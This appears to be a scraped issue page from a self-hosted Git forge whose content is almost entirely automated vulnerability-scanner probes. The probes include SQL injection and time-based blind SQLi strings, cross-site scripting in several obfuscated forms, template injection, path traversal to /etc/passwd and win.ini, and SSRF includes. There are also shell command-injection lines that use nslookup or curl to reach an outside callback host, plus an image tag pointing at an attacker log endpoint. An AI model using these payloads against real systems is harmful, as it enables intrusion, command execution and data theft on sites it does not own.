Mr. #68
Assignees
ferdinandtowle
Clear assignees
ferdinandtowle
No Assignees
lucky
lucky
Notifications
Total Time Spent: 117 hours 56 minutes
Due Date
RDFYjolf
117 hours 56 minutes
No due date set.
Dependencies
No dependencies set.
Reference: ferdinandtowle/2861940#68
Reference in New Issue
Block a user
No description provided.
Delete Branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
555
555
555
555
1FFL9L7I3Z0
555
555
555
555
555
555
'.gethostbyname(lc('hitkj'.'gtutwaggea7aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(87).chr(100).chr(85).'
redirtest.acx
".gethostbyname(lc("hitqf"."rwegwunu4569b.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(71).chr(118).chr(86)."
555
gethostbyname(lc('hitau'.'gzeptvqcabe99.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(81).chr(108).chr(76)
555
555
555
555
555
555
JdKhuvmR
555
2lk8vzsJ: xhVSLbKy
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs�.jpg
555
555
/etc/shells
555
555
../../../../../../../../../../../../../../etc/shells
${10000256+9999787}
../../../../../../../../../../../../../../etc/passwd
555
c:/windows/win.ini
555
../../../../../../../../../../../../../../windows/win.ini
555
bxss.me
file:///etc/passwd
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt?.jpg
555
../555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9485166*9680042)
555
555
555
555
'+response.write(9485166*9680042)+'
555
555
555
555
555
555
"+response.write(9485166*9680042)+"
'"
555
"+"A".concat(70-3).concat(22*4).concat(120).concat(80).concat(120).concat(76)+(require"socket"
Socket.gethostbyname("hitsn"+"nblwefwxe0338.bxss.me.")[3].to_s)+"
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(116).concat(84).concat(107).concat(83)+(require'socket'
Socket.gethostbyname('hitbf'+'gwkcrtyt8cb78.bxss.me.')[3].to_s)+'
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(117).concat(73).concat(107).concat(72)+(require'socket'
Socket.gethostbyname('hitdy'+'atbtnqbp5c7d8.bxss.me.')[3].to_s)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555&n975981=v987087
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
index.php
555
555
)
555
555
index.php�
555
!(()&&!|||
555
555
echo iiidtz$()\ svwlmi\nz^xyu||a #' &echo iiidtz$()\ svwlmi\nz^xyu||a #|" &echo iiidtz$()\ svwlmi\nz^xyu||a #
index.php/.
^(#
!@#)(()))******555
&echo wrwbwn$()\ szzihs\nz^xyu||a #' &echo wrwbwn$()\ szzihs\nz^xyu||a #|" &echo wrwbwn$()\ szzihs\nz^xyu||a #
555
555
555
'"()
555&echo xbyuwb$()\ smcdrf\nz^xyu||a #' &echo xbyuwb$()\ smcdrf\nz^xyu||a #|" &echo xbyuwb$()\ smcdrf\nz^xyu||a #
555
${@print(md5(31337))}
555
555'&&sleep(27*1000)*tpdqzf&&'
555
|echo nseghz$()\ kzneww\nz^xyu||a #' |echo nseghz$()\ kzneww\nz^xyu||a #|" |echo nseghz$()\ kzneww\nz^xyu||a #
555
${@print(md5(31337))}\
555
555"&&sleep(27*1000)*ixyxwk&&"
555
555|echo umrybc$()\ jmacvx\nz^xyu||a #' |echo umrybc$()\ jmacvx\nz^xyu||a #|" |echo umrybc$()\ jmacvx\nz^xyu||a #
'.print(md5(31337)).'
555'||sleep(27*1000)*bpydzs||'
555
expr 9000144442 - 978786
555
555"||sleep(27*1000)*spgcot||"
(nslookup -q=cname hitdsawkwhanv95523.bxss.me||curl hitdsawkwhanv95523.bxss.me))
555
555
555
555
$(nslookup -q=cname hitejagxrtcod2ca14.bxss.me||curl hitejagxrtcod2ca14.bxss.me)
555
555
555
&nslookup -q=cname hitptpwabtnad0f336.bxss.me&'"
0&nslookup -q=cname hitptpwabtnad0f336.bxss.me&'555
555
555
&(nslookup -q=cname hitfyjvmtkfcrf696d.bxss.me||curl hitfyjvmtkfcrf696d.bxss.me)&'"
0&(nslookup -q=cname hitfyjvmtkfcrf696d.bxss.me||curl hitfyjvmtkfcrf696d.bxss.me)&'555
555
|(nslookup -q=cname hitztwjouonsyddeb4.bxss.me||curl hitztwjouonsyddeb4.bxss.me)
555
555
(nslookup -q=cname hitutfalgdmflb925c.bxss.me||curl hitutfalgdmflb925c.bxss.me)555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitervctlrkfr41c80.bxss.me||curl${IFS}hitervctlrkfr41c80.bxss.me)
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitlosobfudszd0b01.bxss.me||curl${IFS}hitlosobfudszd0b01.bxss.me)&'"
0&(nslookup${IFS}-q${IFS}cname${IFS}hitlosobfudszd0b01.bxss.me||curl${IFS}hitlosobfudszd0b01.bxss.me)&'555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '4fTkLygJ'='
-1" OR 5*5=25 or "T4XHaCgb"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1 waitfor delay '0:0:15' --
555-1 OR 688=(SELECT 688 FROM PG_SLEEP(15))--
555-1) OR 419=(SELECT 419 FROM PG_SLEEP(15))--
555-1)) OR 830=(SELECT 830 FROM PG_SLEEP(15))--
55576Gohpc9' OR 967=(SELECT 967 FROM PG_SLEEP(15))--
5556BODFj0I') OR 619=(SELECT 619 FROM PG_SLEEP(15))--
555HeVvFkC8')) OR 905=(SELECT 905 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
@@FONhn
(select 198766*667891)
(select 198766*667891 from DUAL)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<ScRiPt >0zll(9415)</ScRiPt>
'"()&%<ScRiPt >0zll(9606)</ScRiPt>
5559523140
bfg9446＜s1﹥s2ʺs3ʹhjl9446
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
dfb${98991*97996}xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
bfg6048＜s1﹥s2ʺs3ʹhjl6048
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
dfb${98991*97996}xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >0zll(9721)</ScRiPt>
5555TZ5U[!+!]
555<script>0zll(9742)</script>
555<script>0zll(9792)</script>9792
555<ScR<ScRiPt>IpT>0zll(9678)</sCr<ScRiPt>IpT>
555<ScRiPt
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9197></ScRiPt>
555<�ScRiPt
555
555
555
555
555<img/src=">" onerror=alert(9175)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%30%7A%6C%6C%289956%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\0zll(9942)\u003C/sCripT\u003E
555
555}body{zzz:Expre/**/SSion(0zll(9303))}
555dYLmC
<ScRiPt >0zll(9170)</ScRiPt>555TE9JN[!+!]
555
555
555<img sRc='http://attacker-9991/log.php?
555<apC9oZ1<
555
555
555
555
555
555
'.gethostbyname(lc('hitfz'.'ailcsuxi554f9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(65).chr(104).chr(84).'
".gethostbyname(lc("hitru"."lmaajqok0d229.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(76).chr(117).chr(86)."
gethostbyname(lc('hitij'.'qczesjvp3c9ed.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(74).chr(111).chr(67)
555
555
555
redirtest.acx
555
555
555
555
555
ON8p3fRD
555
555
3nEljGgw: mH7QN6Px
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
file:///etc/passwd
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs�.jpg
555
/etc/shells
../555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
bxss.me
${9999087+9999492}
555
555
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
response.write(9845977*9553114)
555
555
555
'+response.write(9845977*9553114)+'
555
555
555
"+response.write(9845977*9553114)+"
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(112).concat(88).concat(117).concat(90)+(require"socket"
Socket.gethostbyname("hittj"+"yzxmhjaxd3c6c.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(112).concat(82).concat(109).concat(77)+(require'socket'
Socket.gethostbyname('hitvk'+'kzegqtlxeebaa.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(100).concat(86).concat(114).concat(68)+(require'socket'
Socket.gethostbyname('hitcx'+'cxwfhsau50e4b.bxss.me.')[3].to_s)
555
555
555
555
'"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555&n967227=v936279
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo dastwy$()\ aggyne\nz^xyu||a #' &echo dastwy$()\ aggyne\nz^xyu||a #|" &echo dastwy$()\ aggyne\nz^xyu||a #
555
)
555
555
555
&echo tsoelm$()\ ciiskf\nz^xyu||a #' &echo tsoelm$()\ ciiskf\nz^xyu||a #|" &echo tsoelm$()\ ciiskf\nz^xyu||a #
!(()&&!|||
555
555
555
index.php
555&echo rimkys$()\ bhslyj\nz^xyu||a #' &echo rimkys$()\ bhslyj\nz^xyu||a #|" &echo rimkys$()\ bhslyj\nz^xyu||a #
555
^(#
!@#)(()))******555
index.php�
|echo obpjuh$()\ kmrmrg\nz^xyu||a #' |echo obpjuh$()\ kmrmrg\nz^xyu||a #|" |echo obpjuh$()\ kmrmrg\nz^xyu||a #
555
555
555
index.php/.
'"()
555|echo nkkmdr$()\ szrbqs\nz^xyu||a #' |echo nkkmdr$()\ szrbqs\nz^xyu||a #|" |echo nkkmdr$()\ szrbqs\nz^xyu||a #
${@print(md5(31337))}
555
555
555
expr 9000625925 - 913869
555'&&sleep(27*1000)*ssbugc&&'
${@print(md5(31337))}\
555
555
555
(nslookup -q=cname hitalqonrmmte95139.bxss.me||curl hitalqonrmmte95139.bxss.me))
555"&&sleep(27*1000)*wlhmbr&&"
'.print(md5(31337)).'
555
555
$(nslookup -q=cname hitsztcpnglac16001.bxss.me||curl hitsztcpnglac16001.bxss.me)
555
555'||sleep(27*1000)*rosgya||'
&nslookup -q=cname hitxumowjftuh44326.bxss.me&'"
0&nslookup -q=cname hitxumowjftuh44326.bxss.me&'555
555"||sleep(27*1000)*xbyasd||"
555
&(nslookup -q=cname hitxcozvtzhfy1ba3e.bxss.me||curl hitxcozvtzhfy1ba3e.bxss.me)&'"
0&(nslookup -q=cname hitxcozvtzhfy1ba3e.bxss.me||curl hitxcozvtzhfy1ba3e.bxss.me)&'555
555
|(nslookup -q=cname hitvfrzkpbrjsf60ed.bxss.me||curl hitvfrzkpbrjsf60ed.bxss.me)
555
555
555
(nslookup -q=cname hitctjcmfbcdz6cdf6.bxss.me||curl hitctjcmfbcdz6cdf6.bxss.me)555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitjitapabgko3d7a7.bxss.me||curl${IFS}hitjitapabgko3d7a7.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitiaukofkwuwfb62d.bxss.me||curl${IFS}hitiaukofkwuwfb62d.bxss.me)&'"
0&(nslookup${IFS}-q${IFS}cname${IFS}hitiaukofkwuwfb62d.bxss.me||curl${IFS}hitiaukofkwuwfb62d.bxss.me)&'555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or 'yB3LYxDn'='
-1" OR 5*5=25 or "XxU8dbuh"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1 waitfor delay '0:0:15' --
555-1 OR 714=(SELECT 714 FROM PG_SLEEP(15))--
555-1) OR 643=(SELECT 643 FROM PG_SLEEP(15))--
555-1)) OR 438=(SELECT 438 FROM PG_SLEEP(15))--
555vGkbPbBo' OR 437=(SELECT 437 FROM PG_SLEEP(15))--
555bBy3btHZ') OR 711=(SELECT 711 FROM PG_SLEEP(15))--
5554SHsOpT3')) OR 619=(SELECT 619 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
@@zEiOn
(select 198766*667891)
(select 198766*667891 from DUAL)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<ScRiPt >aQjw(9650)</ScRiPt>
'"()&%<ScRiPt >aQjw(9358)</ScRiPt>
5559808312
bfg10702＜s1﹥s2ʺs3ʹhjl10702
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
dfb${98991*97996}xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
bfg3194＜s1﹥s2ʺs3ʹhjl3194
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
dfb${98991*97996}xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >aQjw(9103)</ScRiPt>
555ILNVL[!+!]
555<script>aQjw(9487)</script>
555<script>aQjw(9901)</script>9901
555<ScR<ScRiPt>IpT>aQjw(9459)</sCr<ScRiPt>IpT>
555<ScRiPt
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9807></ScRiPt>
555<�ScRiPt
555
555
555
555
555<img/src=">" onerror=alert(9252)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%61%51%6A%77%289859%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\aQjw(9264)\u003C/sCripT\u003E
555
555}body{zzz:Expre/**/SSion(aQjw(9931))}
555o7vSm
<ScRiPt >aQjw(9991)</ScRiPt>555EUGTW[!+!]
555
555
555<img sRc='http://attacker-9469/log.php?
555<aIkvn6k<